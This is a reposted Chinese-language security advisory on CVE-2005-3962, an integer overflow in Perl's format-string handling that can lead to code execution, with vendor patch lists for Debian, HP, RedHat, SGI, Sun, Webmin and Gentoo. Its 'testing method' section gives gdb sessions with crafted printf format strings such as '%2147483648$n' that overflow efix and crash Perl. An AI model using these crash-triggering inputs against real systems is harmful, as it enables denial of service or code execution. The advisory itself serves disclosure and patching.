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Perl格式串处理整数溢出漏洞 |
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| Perl格式串处理整数溢出漏洞 |
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| 作者：佚名 文章来源：不详 点击数： 更新时间：2007-1-26 15:19:23 |
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2006-11-30 21:10:16
发布日期：2005-11-29
更新日期：2006-11-30
受影响系统：Larry Wall Perl <= 5.9.2
Webmin Webmin <= 1.240
Webmin Usermin <= 1.170 不受影响系统：Webmin Webmin 1.250
Webmin Usermin 1.180 描述：
BUGTRAQ ID: 15629
CVE(CAN) ID: CVE-2005-3962,CVE-2005-3912
Perl是一种免费且功能强大的编程语言。
由于Perl没有正确的处理格式化打印函数中的格式指示符导致了格式串溢出漏洞，远程攻击者可能利用此漏洞在主机上执行任意指令。
参数格式串（%I$n）中的INT_MAX值可能导致Perl_sv_vcatpvfn函数中的efix出现整数溢出。攻击者可以利用这个漏洞远程执行任意指令或导致拒绝服务。
<*来源：Jack Louis
Steven M. Christey （coley@linus.mitre.org）
Jean-loup Gailly （jloup@gailly.net）
Arjan de Vet
链接：http://lists.immunitysec.com/pipermail/dailydave/2005-December/002707.html
http://marc.theaimsgroup.com/?l=bugtraq&m=113332023332577&w=2
http://secunia.com/advisories/23155/
http://docs.info.apple.com/article.html?artnum=304829
http://security.gentoo.org/glsa/glsa-200512-01.xml
http://www.us-cert.gov/cas/techalerts/TA06-333A.html
http://www.debian.org/security/2005/dsa-943
http://www2.itrc.hp.com/service/cki/docDisplay.do?docId=c00686865&hpweb_printable=true
http://lwn.net/Alerts/165025/?format=printable
http://lwn.net/Alerts/165026/?format=printable
ftp://patches.sgi.com/support/free/security/advisories/20060101-01-U.asc
http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-102192-1
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！ 例1
$ gdb myperl/bin/perl5.8.7
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) break sv.c:9232
Breakpoint 1 at 0x80c0df0: file sv.c, line 9232.
(gdb) set args -e 'printf("%2147483647\$n");'
(gdb) run
Breakpoint 1, Perl_sv_vcatpvfn (sv=0x812d180, pat=0x0, patlen=0, args=0x0, svargs=0x8133080,
svmax=0, maybe_tainted=0xbffb72cb "") at sv.c:9232
9232 in sv.c
(gdb) p efix
$1 = 2147483647
(gdb) set args -e 'printf("%2147483648\$n");'
(gdb) run
Breakpoint 1, Perl_sv_vcatpvfn (sv=0x812d180,
pat=0x80000000 <Address 0x80000000 out of bounds>, patlen=0, args=0x0, svargs=0x8133080,
svmax=0, maybe_tainted=0xbfb0640b "") at sv.c:9232
9232 in sv.c
(gdb) p efix
$2 = -2147483648
(gdb) cont
Modification of a read-only value attempted at -e line 1.
Program exited with code 0377.
(gdb) set args -e 'printf("%2147483649\$n");'
(gdb) run
Breakpoint 1, Perl_sv_vcatpvfn (sv=0x812d180,
pat=0x80000001 <Address 0x80000001 out of bounds>, patlen=0, args=0x0, svargs=0x8133080,
svmax=0, maybe_tainted=0xbfe69b9b "") at sv.c:9232
9232 in sv.c
(gdb) p efix
$3 = -2147483647
(gdb) cont
Program received signal SIGSEGV, Segmentation fault.
Perl_sv_setiv (sv=0x0, i=0) at sv.c:1652
1652 in sv.c
(gdb) bt
#0 Perl_sv_setiv (sv=0x0, i=0) at sv.c:1652
#1 0x080b6349 in Perl_sv_setuv_mg (sv=0x0, u=0) at sv.c:1743
#2 0x080c0e06 in Perl_sv_vcatpvfn (sv=0x812d180,
pat=0x80000001 <Address 0x80000001 out of bounds>, patlen=0, args=0x0, svargs=0x8133080,
svmax=0, maybe_tainted=0xbfe69b9b "") at sv.c:9232
#3 0x080e923b in Perl_do_sprintf (sv=0x812d180, len=1, sarg=0x813307c) at doop.c:713
#4 0x080de48a in Perl_pp_prtf () at pp_sys.c:1489
#5 0x080ad038 in Perl_runops_standard () at run.c:37
#6 0x080615c7 in S_run_body (oldscope=1) at perl.c:2000
#7 0x080613ff in perl_run (my_perl=0x812d008) at perl.c:1919
#8 0x0805e61f in main (argc=3, argv=0xbfe69da4, env=0xbfe69db4) at perlmain.c:98
(gdb) x/i $eip
0x80b61a8 <Perl_sv_setiv+8>: mov 0x8(%ebx),%edx
(gdb) i r ebx edx
ebx 0x0 0
edx 0x812d180 135451008
(gdb)
例2
#0 Perl_sv_setiv (sv=0x815f821, i=0) at sv.c:2184
2184 SvIVX(sv) = i;
(gdb) x/i $eip
0x80c815c <Perl_sv_setiv+108>: mov %esi,0xc(%eax)
例3
#0 0xb7e69fb0 in malloc_consolidate () from /lib/tls/libc.so.6
例4
#0 0x09010e50 in ?? ()
建议：
厂商补丁：
Debian
------
Debian已经为此发布了一个安全公告（DSA-943-1）以及相应补丁:
DSA-943-1：New Perl packages fix arbitrary code execution
链接：http://www.debian.org/security/2005/dsa-943
补丁下载：
Source archives:
http://security.debian.org/pool/updates/main/p/perl/perl_5.8.4-8sarge3.dsc
Size/MD5 checksum: 738 88756767017d421351e02a5226457d2b
http://security.debian.org/pool/updates/main/p/perl/perl_5.8.4-8sarge3.diff.gz
Size/MD5 checksum: 87851 05a72533cd5bde5fce6987cf39041236
http://security.debian.org/pool/updates/main/p/perl/perl_5.8.4.orig.tar.gz
Size/MD5 checksum: 12094233 912050a9cb6b0f415b76ba56052fb4cf
Architecture independent components:
http://security.debian.org/pool/updates/main/p/perl/libcgi-fast-perl_5.8.4-8sarge3_all.deb
Size/MD5 checksum: 38332 7d47e456c2bd7c83312bb1ad17738284
http://security.debian.org/pool/updates/main/p/perl/perl-doc_5.8.4-8sarge3_all.deb
Size/MD5 checksum: 7053372 47e14a8f071c506916e40713e8cc81f7
http://security.debian.org/pool/updates/main/p/perl/perl-modules_5.8.4-8sarge3_all.deb
Size/MD5 checksum: 2178216 4823e4985f8cf1b4af78ec26afbc0102
Alpha architecture:
http://security.debian.org/pool/updates/main/p/perl/libperl-dev_5.8.4-8sarge3_alpha.deb
Size/MD5 checksum: 805438 0e3cb34c8c093515c7b33fa60a493899
http://security.debian.org/pool/updates/main/p/perl/libperl5.8_5.8.4-8sarge3_alpha.deb
Size/MD5 checksum: 1040 f82603c65e3f3def2356962111e411c2
http://security.debian.org/pool/updates/main/p/perl/perl_5.8.4-8sarge3_alpha.deb
Size/MD5 checksum: 3901974 f744b7b871a8071cb403a74d665b7778
http://security.debian.org/pool/updates/main/p/perl/perl-base_5.8.4-8sarge3_alpha.deb
Size/MD5 checksum: 874714 26e450d8f0375e5a3545c2988205cee4
http://security.debian.org/pool/updates/main/p/perl/perl-debug_5.8.4-8sarge3_alpha.deb
Size/MD5 checksum: 4133098 cf772af3fa70e0cf320b43964aeab61e
http://security.debian.org/pool/updates/main/p/perl/perl-suid_5.8.4-8sarge3_alpha.deb
Size/MD5 checksum: 37080 d3863820eaebcbbbe59775a1874da2eb
AMD64 architecture:
http://security.debian.org/pool/updates/main/p/perl/libperl-dev_5.8.4-8sarge3_amd64.deb
Size/MD5 checksum: 605284 c6e097980b5dec33bb340e8f4c76de19
http://security.debian.org/pool/updates/main/p/perl/libperl5.8_5.8.4-8sarge3_amd64.deb
Size/MD5 checksum: 1030 08b7c6bb0bb58a02a254826cfee27e33
http://security.debian.org/pool/updates/main/p/perl/perl_5.8.4-8sarge3_amd64.deb
Size/MD5 checksum: 3834144 e7f33d48427be694e994c18f7321d9e0
http://security.debian.org/pool/updates/main/p/perl/perl-base_5.8.4-8sarge3_amd64.deb
Size/MD5 checksum: 791678 bdbedf5f0e3efb20181a0665d791c6de
http://security.debian.org/pool/updates/main/p/perl/perl-debug_5.8.4-8sarge3_amd64.deb
Size/MD5 checksum: 3934814 ed946cdd2984a538b60acbd034264947
http://security.debian.org/pool/updates/main/p/perl/perl-suid_5.8.4-8sarge3_amd64.deb
Size/MD5 checksum: 32852 ae96f1f115505ab983ed389dee240a83
ARM architecture:
http://security.debian.org/pool/updates/main/p/perl/libperl-dev_5.8.4-8sarge3_arm.deb
Size/MD5 checksum: 613158 30cd5528198d49208274e50e60611b0a
http://security.debian.org/pool/updates/main/p/perl/libperl5.8_5.8.4-8sarge3_arm.deb
Size/MD5 checksum: 1026 fc64aa8b67f46fcccb6d85db7cb242ad
http://security.debian.org/pool/updates/main/p/perl/perl_5.8.4-8sarge3_arm.deb
Size/MD5 checksum: 3132808 226a69d4fa30d1e0a40f4d761826c230
http://security.debian.org/pool/updates/main/p/perl/perl-base_5.8.4-8sarge3_arm.deb
Size/MD5 checksum: 737524 b4aaf84bd60fef147d1131c5ffbc6a0a
http://security.debian.org/pool/updates/main/p/perl/perl-debug_5.8.4-8sarge3_arm.deb
Size/MD5 checksum: 3719460 8e8d12058f9f7fb9e153d4c3ff79d0f4
http://security.debian.org/pool/updates/main/p/perl/perl-suid_5.8.4-8sarge3_arm.deb
Size/MD5 checksum: 29880 faa9dc0401eb667e202e12f2d2cf9643
Intel IA-32 architecture:
http://security.debian.org/pool/updates/main/p/perl/libperl-dev_5.8.4-8sarge3_i386.deb
Size/MD5 checksum: 567048 8488e40844019795a1179a2b9a74f172
http://security.debian.org/pool/updates/main/p/perl/libperl5.8_5.8.4-8sarge3_i386.deb
Size/MD5 checksum: 508818 66f7900d63a2efb0a787e83186613a98
http://security.debian.org/pool/updates/main/p/perl/perl_5.8.4-8sarge3_i386.deb
Size/MD5 checksum: 3237948 5841d065408022fb2fe0e75febc02d9d
http://security.debian.org/pool/updates/main/p/perl/perl-base_5.8.4-8sarge3_i386.deb
Size/MD5 checksum: 751956 b77e882ed9558a09398c2fba334e5b4a
http://security.debian.org/pool/updates/main/p/perl/perl-debug_5.8.4-8sarge3_i386.deb
Size/MD5 checksum: 3735798 bb034b2e756aa35cd5fa9e01a0485b13
http://security.debian.org/pool/updates/main/p/perl/perl-suid_5.8.4-8sarge3_i386.deb
Size/MD5 checksum: 31696 d2c9b1fbc10e89e7868e16fb4c97700d
Intel IA-64 architecture:
http://security.debian.org/pool/updates/main/p/perl/libperl-dev_5.8.4-8sarge3_ia64.deb
Size/MD5 checksum: 866818 3419fdaff605b7ddd485a205c1dd1661
http://security.debian.org/pool/updates/main/p/perl/libperl5.8_5.8.4-8sarge3_ia64.deb
Size/MD5 checksum: 1030 c41835cc5573c0e53610e79766b88d11
http://security.debian.org/pool/updates/main/p/perl/perl_5.8.4-8sarge3_ia64.deb
Size/MD5 checksum: 4027834 28436948c3dd298ad38b3c46f69f2cb4
http://security.debian.org/pool/updates/main/p/perl/perl-base_5.8.4-8sarge3_ia64.deb
Size/MD5 checksum: 1046750 1a70c30abb13449d00a2b34c17c79f17
http://security.debian.org/pool/updates/main/p/perl/perl-debug_5.8.4-8sarge3_ia64.deb
Size/MD5 checksum: 4534216 49cdfeada4c40365e2392a768739d706
http://security.debian.org/pool/updates/main/p/perl/perl-suid_5.8.4-8sarge3_ia64.deb
Size/MD5 checksum: 50104 770378e5ac290729b2943d956cad9c57
HP Precision architecture:
http://security.debian.org/pool/updates/main/p/perl/libperl-dev_5.8.4-8sarge3_hppa.deb
Size/MD5 checksum: 654878 5f8ad153b0a27e9190e5b754e8174ee7
http://security.debian.org/pool/updates/main/p/perl/libperl5.8_5.8.4-8sarge3_hppa.deb
Size/MD5 checksum: 1032 4de6d72cf1f61d6754475a0dd1fe4561
http://security.debian.org/pool/updates/main/p/perl/perl_5.8.4-8sarge3_hppa.deb
Size/MD5 checksum: 3918544 0f83d76853299d10f98842b15b8e7db1
http://security.debian.org/pool/updates/main/p/perl/perl-base_5.8.4-8sarge3_hppa.deb
Size/MD5 checksum: 867566 cb3a0eb20c71bd8017853de9ea838f7f
http://security.debian.org/pool/updates/main/p/perl/perl-debug_5.8.4-8sarge3_hppa.deb
Size/MD5 checksum: 3911882 fd55c787eb9f30f2e143fac490ea4198
http://security.debian.org/pool/updates/main/p/perl/perl-suid_5.8.4-8sarge3_hppa.deb
Size/MD5 checksum: 34484 e3df6ab97d5e68cbb6346240e4532efc
Motorola 680x0 architecture:
http://security.debian.org/pool/updates/main/p/perl/libperl-dev_5.8.4-8sarge3_m68k.deb
Size/MD5 checksum: 457778 f25f1ebbbb4a5ce7b7a4a79c6256987e
http://security.debian.org/pool/updates/main/p/perl/libperl5.8_5.8.4-8sarge3_m68k.deb
Size/MD5 checksum: 1040 9882ea5db94e569a35209a66c74bb390
http://security.debian.org/pool/updates/main/p/perl/perl_5.8.4-8sarge3_m68k.deb
Size/MD5 checksum: 3815032 321dd2b80abad424b678f260d18f323a
http://security.debian.org/pool/updates/main/p/perl/perl-base_5.8.4-8sarge3_m68k.deb
Size/MD5 checksum: 692196 733bfa10857d842bd907f408b03a8b3d
http://security.debian.org/pool/updates/main/p/perl/perl-debug_5.8.4-8sarge3_m68k.deb
Size/MD5 checksum: 3008672 81a0d0613ebe7b9affcd56174e1f955c
http://security.debian.org/pool/updates/main/p/perl/perl-suid_5.8.4-8sarge3_m68k.deb
Size/MD5 checksum: 27934 68de12bace4cf3de7a339b25119b1611
Big endian MIPS architecture:
http://security.debian.org/pool/updates/main/p/perl/libperl-dev_5.8.4-8sarge3_mips.deb
Size/MD5 checksum: 657066 7e2c9980c630b3aa1e60348a4998665a
http://security.debian.org/pool/updates/main/p/perl/libperl5.8_5.8.4-8sarge3_mips.deb
Size/MD5 checksum: 1032 3da5c1e82b6194beac8fe7020a38d7a3
http://security.debian.org/pool/updates/main/p/perl/perl_5.8.4-8sarge3_mips.deb
Size/MD5 checksum: 3384320 edfa53822abb7626b2bfd6ac4d5923df
http://security.debian.org/pool/updates/main/p/perl/perl-base_5.8.4-8sarge3_mips.deb
Size/MD5 checksum: 781078 f4a7b2e1bbd95c9381503b382d35ba58
http://security.debian.org/pool/updates/main/p/perl/perl-debug_5.8.4-8sarge3_mips.deb
Size/MD5 checksum: 4017490 ddca3a084b7c9f1b841bd3f93e39a1d0
http://security.debian.org/pool/updates/main/p/perl/perl-suid_5.8.4-8sarge3_mips.deb
Size/MD5 checksum: 32314 51f707f1c1d3df1c3ad05dc545512c10
Little endian MIPS architecture:
http://security.debian.org/pool/updates/main/p/perl/libperl-dev_5.8.4-8sarge3_mipsel.deb
Size/MD5 checksum: 653526 e7a527c0ed8475df75b3803690081445
http://security.debian.org/pool/updates/main/p/perl/libperl5.8_5.8.4-8sarge3_mipsel.deb
Size/MD5 checksum: 1038 e7b83c957a6c6822ee5614574653d80e
http://security.debian.org/pool/updates/main/p/perl/perl_5.8.4-8sarge3_mipsel.deb
Size/MD5 checksum: 3125384 4446da60977e961ca64ec93a331b0803
http://security.debian.org/pool/updates/main/p/perl/perl-base_5.8.4-8sarge3_mipsel.deb
Size/MD5 checksum: 781672 14e3d605298699dc99e2e5e20310c6b2
http://security.debian.org/pool/updates/main/p/perl/perl-debug_5.8.4-8sarge3_mipsel.deb
Size/MD5 checksum: 3967890 3ab0c5407e2b5816ad55e47d7c256869
http://security.debian.org/pool/updates/main/p/perl/perl-suid_5.8.4-8sarge3_mipsel.deb
Size/MD5 checksum: 32434 4f171621c453755b731ce34bad930a62
PowerPC architecture:
http://security.debian.org/pool/updates/main/p/perl/libperl-dev_5.8.4-8sarge3_powerpc.deb
Size/MD5 checksum: 625118 41b2364e5073cd1e177fd6c3e5f455c5
http://security.debian.org/pool/updates/main/p/perl/libperl5.8_5.8.4-8sarge3_powerpc.deb
Size/MD5 checksum: 1038 2d18de4839ef016646127f4a104f17a1
http://security.debian.org/pool/updates/main/p/perl/perl_5.8.4-8sarge3_powerpc.deb
Size/MD5 checksum: 3509324 77fe7a0288d42bbe7abc9357682cdc1b
http://security.debian.org/pool/updates/main/p/perl/perl-base_5.8.4-8sarge3_powerpc.deb
Size/MD5 checksum: 790116 9e189589ef99e78d0f0ddef4fb06440e
http://security.debian.org/pool/updates/main/p/perl/perl-debug_5.8.4-8sarge3_powerpc.deb
Size/MD5 checksum: 3701264 886260a4033209be2431ff908cc032e5
http://security.debian.org/pool/updates/main/p/perl/perl-suid_5.8.4-8sarge3_powerpc.deb
Size/MD5 checksum: 33582 ec48dc685b7ac64fb722458e0954edc8
IBM S/390 architecture:
http://security.debian.org/pool/updates/main/p/perl/libperl-dev_5.8.4-8sarge3_s390.deb
Size/MD5 checksum: 604116 a2e6f8ee63267dfcf3df2e05f92ce958
http://security.debian.org/pool/updates/main/p/perl/libperl5.8_5.8.4-8sarge3_s390.deb
Size/MD5 checksum: 1032 4d6c1ce7b2f9789fc31cc2440f39a832
http://security.debian.org/pool/updates/main/p/perl/perl_5.8.4-8sarge3_s390.deb
Size/MD5 checksum: 3819738 c9523a97cd0716e67821dd6e7508615f
http://security.debian.org/pool/updates/main/p/perl/perl-base_5.8.4-8sarge3_s390.deb
Size/MD5 checksum: 800132 ebfc849dbaf0be2afa771a3d5b632467
http://security.debian.org/pool/updates/main/p/perl/perl-debug_5.8.4-8sarge3_s390.deb
Size/MD5 checksum: 4234804 30fcc4ea55599b8365a0f96153755466
http://security.debian.org/pool/updates/main/p/perl/perl-suid_5.8.4-8sarge3_s390.deb
Size/MD5 checksum: 33244 a55373a563d2546d1286f7fb4de11710
Sun Sparc architecture:
http://security.debian.org/pool/updates/main/p/perl/libperl-dev_5.8.4-8sarge3_sparc.deb
Size/MD5 checksum: 582422 8ec81b47b82fdb3602c42c6fa0559793
http://security.debian.org/pool/updates/main/p/perl/libperl5.8_5.8.4-8sarge3_sparc.deb
Size/MD5 checksum: 1038 ebbf066210ca33b4282cf347cc771cca
http://security.debian.org/pool/updates/main/p/perl/perl_5.8.4-8sarge3_sparc.deb
Size/MD5 checksum: 3547312 a609080c2c788fd382f970c21b22d9e7
http://security.debian.org/pool/updates/main/p/perl/perl-base_5.8.4-8sarge3_sparc.deb
Size/MD5 checksum: 775666 0e0a56ce4bb224e7bc96ea68ac741d8b
http://security.debian.org/pool/updates/main/p/perl/perl-debug_5.8.4-8sarge3_sparc.deb
Size/MD5 checksum: 3840718 e9ded2d7974b51fbf7933b455b45b604
http://security.debian.org/pool/updates/main/p/perl/perl-suid_5.8.4-8sarge3_sparc.deb
Size/MD5 checksum: 31034 8cf1966a2428838c58f0fab423b8e16a
补丁安装方法：
1. 手工安装补丁包：
首先，使用下面的命令来下载补丁软件：
# wget url (url是补丁下载链接地址)
然后，使用下面的命令来安装补丁：
# dpkg -i file.deb (file是相应的补丁名)
2. 使用apt-get自动安装补丁包：
首先，使用下面的命令更新内部数据库：
# apt-get update
然后，使用下面的命令安装更新软件包：
# apt-get upgrade
HP
--
HP已经为此发布了一个安全公告（HPSBTU02125）以及相应补丁:
HPSBTU02125：SSRT061105 rev.1 - HP Tru64 UNIX Running Perl 5.8.2 and earlier, Local Unauthorized Code Execution
链接：http://www2.itrc.hp.com/service/cki/docDisplay.do?docId=c00686865&hpweb_printable=true
RedHat
------
RedHat已经为此发布了安全公告（RHSA-2005:880-01，RHSA-2005:881-01）以及相应补丁:
RHSA-2005:880-01：Moderate: perl security update
链接：http://lwn.net/Alerts/165025/?format=printable
RHSA-2005:881-01：Moderate: perl security update
链接：http://lwn.net/Alerts/165026/?format=printable
SGI
---
SGI已经为此发布了一个安全公告（20060101-01-U）以及相应补丁:
20060101-01-U：SGI Advanced Linux Environment 3 Security Update #53
链接：ftp://patches.sgi.com/support/free/security/advisories/20060101-01-U.asc
Sun
---
Sun已经为此发布了一个安全公告（Sun-Alert-102192）以及相应补丁:
Sun-Alert-102192：Integer Overflow Vulnerability in Perl May Lead to Application Crash or Code Execution
链接：http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-102192-1
Webmin
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
* Webmin Upgrade webmin-1.250.tar.gz
http://prdownloads.sourceforge.net/webadmin/webmin-1.250.tar.gz
* Webmin Upgrade usermin-1.180.tar.gz
http://prdownloads.sourceforge.net/webadmin/usermin-1.180.tar.gz
Gentoo
------
Gentoo已经为此发布了一个安全公告（GLSA-200512-01）以及相应补丁:
GLSA-200512-01：Perl: Format string errors can lead to code execution
链接：http://security.gentoo.org/glsa/glsa-200512-01.xml
所有Perl用户都应升级到最新版本:
# emerge --sync
# emerge --ask --oneshot --verbose dev-lang/perl
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